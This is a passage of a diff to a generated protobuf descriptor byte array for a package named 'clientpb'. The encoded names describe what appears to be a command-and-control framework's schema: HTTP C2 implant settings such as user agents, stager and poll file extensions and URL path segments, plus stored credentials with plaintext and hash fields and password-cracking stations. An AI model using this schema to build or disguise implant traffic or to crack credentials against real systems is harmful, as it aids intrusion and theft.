0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, + 0x69, 0x74, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, + 0x72, 0x69, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x08, + 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xd3, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0c, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x43, 0x0a, 0x0d, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, + 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, + 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xbc, + 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x32, 0x0a, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x43, + 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, + 0x6f, 0x6b, 0x69, 0x65, 0x52, 0x07, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x22, 0xf8, 0x05, + 0x0a, 0x13, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, + 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, + 0x65, 0x6e, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, 0x61, 0x73, + 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, 0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, - 0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, - 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, - 0x0a, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x4e, 0x6f, 0x6e, 0x63, - 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x4c, - 0x0a, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, - 0x74, 0x65, 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, - 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x52, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, - 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1a, - 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, - 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, - 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, - 0x68, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, - 0x68, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0b, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x30, - 0x0a, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x53, 0x74, 0x61, - 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x2c, 0x0a, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x50, 0x6f, 0x6c, - 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3c, - 0x0a, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, - 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, - 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x32, 0x0a, 0x14, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6c, - 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x3f, 0x0a, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x18, 0x11, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, - 0x65, 0x6e, 0x74, 0x52, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x22, 0x32, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, - 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x82, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, - 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, - 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x88, 0x01, 0x0a, 0x12, 0x48, - 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, - 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, - 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, - 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, - 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x90, 0x01, 0x0a, 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x49, - 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x46, - 0x69, 0x6c, 0x65, 0x12, 0x3d, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, - 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, - 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, - 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, - 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, - 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, - 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, - 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, - 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, - 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, - 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, - 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, - 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, - 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, - 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, - 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, - 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, - 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, - 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, - 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 